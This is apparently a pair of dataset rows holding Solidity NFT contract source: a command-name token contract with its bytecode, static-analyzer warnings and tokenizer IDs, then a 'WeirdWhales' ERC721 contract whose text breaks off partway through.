*/ function launchBlock() public view returns (uint) { return _launchBlock; } /** * Get the current total supply of tokens. * * Returns the total number of tokens minted. */ function totalSupply() public view returns (uint) { return _tokenIDs.current(); } /** * Get frozen status. * * Returns true if a tokenURI is unable to be updated. */ function frozen(string memory _command) public view returns (bool) { bytes32 _cmd = _commandHash(_command); uint tokedID = _commands[_cmd]; require(tokedID > 0, "Command not found."); return _frozen[tokedID]; } /** * Get the current mint fee. * * Returns the current transfer amount required to mint * a new token. */ function mintFee() public view returns (uint) { return _mintFee; } /** * Get the current mint fee floor price. * * Returns the lowest price for a token minting. */ function mintFeeFloor() public view returns (uint) { return _mintFeeFloor; } /** * Get code * * Returns the source code multihash for a command. */ function code(string memory _command) public view returns (string memory) { bytes32 _cmd = _commandHash(_command); uint tokenID = _commands[_cmd]; require(tokenID > 0, "Command not found."); return tokenURI(tokenID); } /** * Update the mint fee. * * Adjusts the mint fee based on the block delta between * the last token minted. */ function _updateMintFee() private { uint blockDelta = block.number - _lastMintAt; blockDelta > _updateFreq ? _mintFee -= _mintFee/_updateAmt : _mintFee += _mintFee/_updateAmt; if (_mintFee < _mintFeeFloor) _mintFee = _mintFeeFloor; } /** * Mint a token to an address. * * Requires payment of _mintFee. */ function mintTo( address _receiver, string memory _command, string memory _tokenURI ) public payable returns (uint) { require(block.number >= _launchBlock, "Platform hasn't launched."); require(msg.value >= _mintFee, "Requires minimum fee."); bytes32 _cmd = _commandHash(_command); require(_commands[_cmd] == 0, "Command in use."); payable(owner()).transfer(msg.value); _updateMintFee(); _lastMintAt = block.number; _tokenIDs.increment(); uint tokenId = _tokenIDs.current(); _mint(_receiver, tokenId); _setTokenURI(tokenId, _tokenURI); _commands[_cmd] = tokenId; return tokenId; } /** * Mint a token to the sender. * * Requires payment of _mintFee. */ function mint(string memory _command, string memory _tokenURI) public payable returns (uint) { return mintTo(msg.sender, _command, _tokenURI); } /** * Update a command. * * Requires ownership of token. */ function update(string memory _command, string memory _tokenURI) public { bytes32 _cmd = _commandHash(_command); uint tokenID = _commands[_cmd]; require(tokenID > 0, "Command not found."); require(ownerOf(tokenID) == msg.sender, "Only the owner can update the token."); require(!_frozen[tokenID], "Token is frozen and cannot be updated."); _setTokenURI(tokenID, _tokenURI); } /** * Freeze a command. * * Requires ownership of token. */ function freeze(string memory _command) public { bytes32 _cmd = _commandHash(_command); uint tokenID = _commands[_cmd]; require(tokenID > 0, "Command not found."); require(ownerOf(tokenID) == msg.sender, "Only the owner can freeze the token."); require(!_frozen[tokenID], "Already frozen."); _frozen[tokenID] = true; } /** * Admin function: Update mint fee. * * Updates the _mintFee value. */ function adminUpdateMintFee(uint __mintFee) onlyOwner public { _mintFee = __mintFee; } /** * Admin function: Update mint fee floor. * * Updates the _mintFeeFloor value. */ function adminUpdateMintFeeFloor(uint __mintFeeFloor) onlyOwner public { _mintFeeFloor = __mintFeeFloor; if (_mintFeeFloor > _mintFee) _mintFee = _mintFeeFloor; } }
0x6080604052600436106101c25760003560e01c80637897f76a116100f7578063c87b56dd11610095578063e8a3d48511610064578063e8a3d485146104c4578063e985e9c5146104d9578063f2fde38b14610522578063f4c84d191461054257600080fd5b8063c87b56dd1461044f578063d00efb2f1461046f578063e6a86fb014610484578063e7450a4a146104a457600080fd5b806395d89b41116100d157806395d89b41146103da578063a22cb465146103ef578063a677f9921461040f578063b88d4fde1461042f57600080fd5b80637897f76a146103965780638aa0fdad146103a95780638da5cb5b146103bc57600080fd5b806323b872dd116101645780636352211e1161013e5780636352211e146103215780636b2593c91461034157806370a0823114610361578063715018a61461038157600080fd5b806323b872dd146102c157806342842e0e146102e15780635bb989101461030157600080fd5b8063095ea7b3116101a0578063095ea7b31461025657806313966db51461027857806318160ddd146102975780631ef72778146102ac57600080fd5b806301ffc9a7146101c757806306fdde03146101fc578063081812fc1461021e575b600080fd5b3480156101d357600080fd5b506101e76101e23660046125fb565b610562565b60405190151581526020015b60405180910390f35b34801561020857600080fd5b506102116105ff565b6040516101f3919061282f565b34801561022a57600080fd5b5061023e6102393660046126ce565b610691565b6040516001600160a01b0390911681526020016101f3565b34801561026257600080fd5b506102766102713660046125d1565b61072b565b005b34801561028457600080fd5b50600d545b6040519081526020016101f3565b3480156102a357600080fd5b5061028961085d565b3480156102b857600080fd5b50600e54610289565b3480156102cd57600080fd5b506102766102dc366004612469565b61086d565b3480156102ed57600080fd5b506102766102fc366004612469565b6108f4565b34801561030d57600080fd5b5061027661031c3660046126ce565b61090f565b34801561032d57600080fd5b5061023e61033c3660046126ce565b61096e565b34801561034d57600080fd5b506101e761035c366004612635565b6109f9565b34801561036d57600080fd5b5061028961037c36600461241b565b610a72565b34801561038d57600080fd5b50610276610b0c565b6102896103a436600461255d565b610b72565b6102896103b736600461266a565b610d11565b3480156103c857600080fd5b506007546001600160a01b031661023e565b3480156103e657600080fd5b50610211610d25565b3480156103fb57600080fd5b5061027661040a366004612521565b610d34565b34801561041b57600080fd5b5061021161042a366004612635565b610df9565b34801561043b57600080fd5b5061027661044a3660046124a5565b610e6b565b34801561045b57600080fd5b5061021161046a3660046126ce565b610ef9565b34801561047b57600080fd5b50600954610289565b34801561049057600080fd5b5061027661049f366004612635565b611093565b3480156104b057600080fd5b506102766104bf3660046126ce565b6111da565b3480156104d057600080fd5b5061021161124d565b3480156104e557600080fd5b506101e76104f4366004612436565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561052e57600080fd5b5061027661053d36600461241b565b61129a565b34801561054e57600080fd5b5061027661055d36600461266a565b611379565b60006001600160e01b031982167f80ac58cd0000000000000000000000000000000000000000000000000000000014806105c557506001600160e01b031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b806105f957507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b03198316145b92915050565b60606000805461060e906128d6565b80601f016020809104026020016040519081016040528092919081815260200182805461063a906128d6565b80156106875780601f1061065c57610100808354040283529160200191610687565b820191906000526020600020905b81548152906001019060200180831161066a57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661070f5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006107368261096e565b9050806001600160a01b0316836001600160a01b031614156107c05760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610706565b336001600160a01b03821614806107dc57506107dc81336104f4565b61084e5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610706565b61085883836114d3565b505050565b600061086860085490565b905090565b610877338261154e565b6108e95760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610706565b610858838383611641565b61085883838360405180602001604052806000815250610e6b565b6007546001600160a01b031633146109695760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610706565b600d55565b6000818152600260205260408120546001600160a01b0316806105f95760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610706565b600080610a058361181b565b6000818152600a602052604090205490915080610a595760405162461bcd60e51b815260206004820152601260248201527121b7b6b6b0b732103737ba103337bab7321760711b6044820152606401610706565b6000908152600b602052604090205460ff169392505050565b60006001600160a01b038216610af05760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610706565b506001600160a01b031660009081526003602052604090205490565b6007546001600160a01b03163314610b665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610706565b610b706000611c06565b565b6000600954431015610bc65760405162461bcd60e51b815260206004820152601960248201527f506c6174666f726d206861736e2774206c61756e636865642e000000000000006044820152606401610706565b600d54341015610c185760405162461bcd60e51b815260206004820152601560248201527f5265717569726573206d696e696d756d206665652e00000000000000000000006044820152606401610706565b6000610c238461181b565b6000818152600a602052604090205490915015610c825760405162461bcd60e51b815260206004820152600f60248201527f436f6d6d616e6420696e207573652e00000000000000000000000000000000006044820152606401610706565b6007546040516001600160a01b03909116903480156108fc02916000818181858888f19350505050158015610cbb573d6000803e3d6000fd5b50610cc4611c65565b43600f55610cd6600880546001019055565b6000610ce160085490565b9050610ced8682611cea565b610cf78185611e39565b6000918252600a6020526040909120819055949350505050565b6000610d1e338484610b72565b9392505050565b60606001805461060e906128d6565b6001600160a01b038216331415610d8d5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610706565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60606000610e068361181b565b6000818152600a602052604090205490915080610e5a5760405162461bcd60e51b815260206004820152601260248201527121b7b6b6b0b732103737ba103337bab7321760711b6044820152606401610706565b610e6381610ef9565b949350505050565b610e75338361154e565b610ee75760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610706565b610ef384848484611ee2565b50505050565b6000818152600260205260409020546060906001600160a01b0316610f865760405162461bcd60e51b815260206004820152603160248201527f45524337323155524953746f726167653a2055524920717565727920666f722060448201527f6e6f6e6578697374656e7420746f6b656e0000000000000000000000000000006064820152608401610706565b60008281526006602052604081208054610f9f906128d6565b80601f0160208091040260200160405190810160405280929190818152602001828054610fcb906128d6565b80156110185780601f10610fed57610100808354040283529160200191611018565b820191906000526020600020905b815481529060010190602001808311610ffb57829003601f168201915b505050505090506000611045604080518082019091526007815266697066733a2f2f60c81b602082015290565b9050805160001415611058575092915050565b81511561108a578082604051602001611072929190612713565b60405160208183030381529060405292505050919050565b610e6384611f6b565b600061109e8261181b565b6000818152600a6020526040902054909150806110f25760405162461bcd60e51b815260206004820152601260248201527121b7b6b6b0b732103737ba103337bab7321760711b6044820152606401610706565b336110fc8261096e565b6001600160a01b03161461115e5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c7920746865206f776e65722063616e20667265657a652074686520746f60448201526335b2b71760e11b6064820152608401610706565b6000818152600b602052604090205460ff16156111bd5760405162461bcd60e51b815260206004820152600f60248201527f416c72656164792066726f7a656e2e00000000000000000000000000000000006044820152606401610706565b6000908152600b60205260409020805460ff191660011790555050565b6007546001600160a01b031633146112345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610706565b600e819055600d5481111561124a57600e54600d555b50565b6060611273604080518082019091526007815266697066733a2f2f60c81b602082015290565b600c604051602001611286929190612742565b604051602081830303815290604052905090565b6007546001600160a01b031633146112f45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610706565b6001600160a01b0381166113705760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610706565b61124a81611c06565b60006113848361181b565b6000818152600a6020526040902054909150806113d85760405162461bcd60e51b815260206004820152601260248201527121b7b6b6b0b732103737ba103337bab7321760711b6044820152606401610706565b336113e28261096e565b6001600160a01b0316146114445760405162461bcd60e51b8152602060048201526024808201527f4f6e6c7920746865206f776e65722063616e207570646174652074686520746f60448201526335b2b71760e11b6064820152608401610706565b6000818152600b602052604090205460ff16156114c95760405162461bcd60e51b815260206004820152602660248201527f546f6b656e2069732066726f7a656e20616e642063616e6e6f7420626520757060448201527f64617465642e00000000000000000000000000000000000000000000000000006064820152608401610706565b610ef38184611e39565b6000818152600460205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03841690811790915581906115158261096e565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166115c75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610706565b60006115d28361096e565b9050806001600160a01b0316846001600160a01b0316148061160d5750836001600160a01b031661160284610691565b6001600160a01b0316145b80610e6357506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff16610e63565b826001600160a01b03166116548261096e565b6001600160a01b0316146116d05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610706565b6001600160a01b03821661174b5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610706565b6117566000826114d3565b6001600160a01b038316600090815260036020526040812080546001929061177f908490612893565b90915550506001600160a01b03821660009081526003602052604081208054600192906117ad908490612842565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600081815b8151811015611a8057600082828151811061183d5761183d61296c565b01602001516001600160f81b0319169050600360fc1b811080159061188c57507f39000000000000000000000000000000000000000000000000000000000000006001600160f81b0319821611155b806118f657507f41000000000000000000000000000000000000000000000000000000000000006001600160f81b03198216108015906118f657507f5a000000000000000000000000000000000000000000000000000000000000006001600160f81b0319821611155b8061196057507f61000000000000000000000000000000000000000000000000000000000000006001600160f81b031982161080159061196057507f7a000000000000000000000000000000000000000000000000000000000000006001600160f81b0319821611155b8061199457507f2d000000000000000000000000000000000000000000000000000000000000006001600160f81b03198216145b806119c857507f2e000000000000000000000000000000000000000000000000000000000000006001600160f81b03198216145b806119fc57507f5f000000000000000000000000000000000000000000000000000000000000006001600160f81b03198216145b611a6d5760405162461bcd60e51b8152602060048201526024808201527f436f6d6d616e6420636f6e7461696e7320696e76616c6964206368617261637460448201527f6572732e000000000000000000000000000000000000000000000000000000006064820152608401610706565b5080611a7881612911565b915050611820565b506000815167ffffffffffffffff811115611a9d57611a9d612982565b6040519080825280601f01601f191660200182016040528015611ac7576020820181803683370190505b50905060005b8251811015611bd5576041838281518110611aea57611aea61296c565b016020015160f81c10801590611b1a5750605a838281518110611b0f57611b0f61296c565b016020015160f81c11155b15611b7c57828181518110611b3157611b3161296c565b602001015160f81c60f81b60f81c6020611b4b919061285a565b60f81b828281518110611b6057611b6061296c565b60200101906001600160f81b031916908160001a905350611bc3565b828181518110611b8e57611b8e61296c565b602001015160f81c60f81b828281518110611bab57611bab61296c565b60200101906001600160f81b031916908160001a9053505b80611bcd81612911565b915050611acd565b5080604051602001611be7919061282f565b6040516020818303038152906040528051906020012092505050919050565b600780546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000600f5443611c759190612893565b90506010548111611cac57601154600d54611c90919061287f565b600d6000828254611ca19190612842565b925050819055611cd4565b601154600d54611cbc919061287f565b600d6000828254611ccd9190612893565b9250508190555b50600e54600d54101561124a57600e54600d5550565b6001600160a01b038216611d405760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610706565b6000818152600260205260409020546001600160a01b031615611da55760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610706565b6001600160a01b0382166000908152600360205260408120805460019290611dce908490612842565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000828152600260205260409020546001600160a01b0316611ec35760405162461bcd60e51b815260206004820152602e60248201527f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60448201527f6578697374656e7420746f6b656e0000000000000000000000000000000000006064820152608401610706565b60008281526006602090815260409091208251610858928401906122d0565b611eed848484611641565b611ef98484848461206f565b610ef35760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610706565b6000818152600260205260409020546060906001600160a01b0316611ff85760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006064820152608401610706565b600061201e604080518082019091526007815266697066733a2f2f60c81b602082015290565b9050600081511161203e5760405180602001604052806000815250610d1e565b80612048846121d2565b604051602001612059929190612713565b6040516020818303038152906040529392505050565b60006001600160a01b0384163b156121c757604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906120b39033908990889088906004016127f3565b602060405180830381600087803b1580156120cd57600080fd5b505af19250505080156120fd575060408051601f3d908101601f191682019092526120fa91810190612618565b60015b6121ad573d80801561212b576040519150601f19603f3d011682016040523d82523d6000602084013e612130565b606091505b5080516121a55760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610706565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610e63565b506001949350505050565b6060816121f65750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612220578061220a81612911565b91506122199050600a8361287f565b91506121fa565b60008167ffffffffffffffff81111561223b5761223b612982565b6040519080825280601f01601f191660200182016040528015612265576020820181803683370190505b5090505b8415610e635761227a600183612893565b9150612287600a8661292c565b612292906030612842565b60f81b8183815181106122a7576122a761296c565b60200101906001600160f81b031916908160001a9053506122c9600a8661287f565b9450612269565b8280546122dc906128d6565b90600052602060002090601f0160209004810192826122fe5760008555612344565b82601f1061231757805160ff1916838001178555612344565b82800160010185558215612344579182015b82811115612344578251825591602001919060010190612329565b50612350929150612354565b5090565b5b808211156123505760008155600101612355565b600067ffffffffffffffff8084111561238457612384612982565b604051601f8501601f19908116603f011681019082821181831017156123ac576123ac612982565b816040528093508581528686860111156123c557600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b03811681146123f657600080fd5b919050565b600082601f83011261240c57600080fd5b610d1e83833560208501612369565b60006020828403121561242d57600080fd5b610d1e826123df565b6000806040838503121561244957600080fd5b612452836123df565b9150612460602084016123df565b90509250929050565b60008060006060848603121561247e57600080fd5b612487846123df565b9250612495602085016123df565b9150604084013590509250925092565b600080600080608085870312156124bb57600080fd5b6124c4856123df565b93506124d2602086016123df565b925060408501359150606085013567ffffffffffffffff8111156124f557600080fd5b8501601f8101871361250657600080fd5b61251587823560208401612369565b91505092959194509250565b6000806040838503121561253457600080fd5b61253d836123df565b91506020830135801515811461255257600080fd5b809150509250929050565b60008060006060848603121561257257600080fd5b61257b846123df565b9250602084013567ffffffffffffffff8082111561259857600080fd5b6125a4878388016123fb565b935060408601359150808211156125ba57600080fd5b506125c7868287016123fb565b9150509250925092565b600080604083850312156125e457600080fd5b6125ed836123df565b946020939093013593505050565b60006020828403121561260d57600080fd5b8135610d1e81612998565b60006020828403121561262a57600080fd5b8151610d1e81612998565b60006020828403121561264757600080fd5b813567ffffffffffffffff81111561265e57600080fd5b610e63848285016123fb565b6000806040838503121561267d57600080fd5b823567ffffffffffffffff8082111561269557600080fd5b6126a1868387016123fb565b935060208501359150808211156126b757600080fd5b506126c4858286016123fb565b9150509250929050565b6000602082840312156126e057600080fd5b5035919050565b600081518084526126ff8160208601602086016128aa565b601f01601f19169290920160200192915050565b600083516127258184602088016128aa565b8351908301906127398183602088016128aa565b01949350505050565b60008351602061275582858389016128aa565b845491840191600090600181811c908083168061277357607f831692505b85831081141561279157634e487b7160e01b85526022600452602485fd5b8080156127a557600181146127b6576127e3565b60ff198516885283880195506127e3565b60008b81526020902060005b858110156127db5781548a8201529084019088016127c2565b505083880195505b50939a9950505050505050505050565b60006001600160a01b0380871683528086166020840152508360408301526080606083015261282560808301846126e7565b9695505050505050565b602081526000610d1e60208301846126e7565b6000821982111561285557612855612940565b500190565b600060ff821660ff84168060ff0382111561287757612877612940565b019392505050565b60008261288e5761288e612956565b500490565b6000828210156128a5576128a5612940565b500390565b60005b838110156128c55781810151838201526020016128ad565b83811115610ef35750506000910152565b600181811c908216806128ea57607f821691505b6020821081141561290b57634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561292557612925612940565b5060010190565b60008261293b5761293b612956565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461124a57600080fdfea2646970667358221220ddd756dad396da44ae5b5d89548fb8b8a6b0f6fc05fe576955ec5937fd1f62d864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2098, 24087, 2487, 2063, 2581, 2683, 2549, 2063, 2683, 12376, 2581, 2487, 2497, 2629, 2497, 16932, 2683, 2575, 2620, 2497, 2620, 2497, 2683, 27009, 2575, 22907, 2278, 17134, 2487, 2278, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 9496, 23809, 4270, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 24094, 1012, 14017, 1000, 1025, 3206, 1056, 2509, 10867, 2003, 9413, 2278, 2581, 17465, 9496, 23809, 4270, 1010, 2219, 3085, 1063, 1013, 1008, 1008, 1008, 19204, 8909, 2015, 4675, 1012, 1008, 1008, 3640, 2019, 8285, 1011, 4297, 28578, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,520
0x96Ed81c7F4406Eff359E27BfF6325DC3c9e042BD
// Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721 // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; contract WeirdWhales is ERC721, Ownable { using SafeMath for uint256; string public WHALE_PROVENANCE = ""; uint256 public constant MAX_TOKENS = 3350; uint256 public constant MAX_TOKENS_PER_PURCHASE = 20; uint256 private price = 25000000000000000; // 0.025 Ether bool public isSaleActive = true; constructor() ERC721("WeirdWhales", "WHALE") {} function setProvenanceHash(string memory _provenanceHash) public onlyOwner { WHALE_PROVENANCE = _provenanceHash; } function reserveTokens(address _to, uint256 _reserveAmount) public onlyOwner { uint supply = totalSupply(); for (uint i = 0; i < _reserveAmount; i++) { _safeMint(_to, supply + i); } } function mint(uint256 _count) public payable { uint256 totalSupply = totalSupply(); require(isSaleActive, "Sale is not active" ); require(_count > 0 && _count < MAX_TOKENS_PER_PURCHASE + 1, "Exceeds maximum tokens you can purchase in a single transaction"); require(totalSupply + _count < MAX_TOKENS + 1, "Exceeds maximum tokens available for purchase"); require(msg.value >= price.mul(_count), "Ether value sent is not correct"); for(uint256 i = 0; i < _count; i++){ _safeMint(msg.sender, totalSupply + i); } } function setBaseURI(string memory _baseURI) public onlyOwner { _setBaseURI(_baseURI); } function flipSaleStatus() public onlyOwner { isSaleActive = !isSaleActive; } function setPrice(uint256 _newPrice) public onlyOwner() { price = _newPrice; } function getPrice() public view returns (uint256){ return price; } function withdraw() public onlyOwner { uint256 balance = address(this).balance; msg.sender.transfer(balance); } function tokensByOwner(address _owner) external view returns(uint256[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = 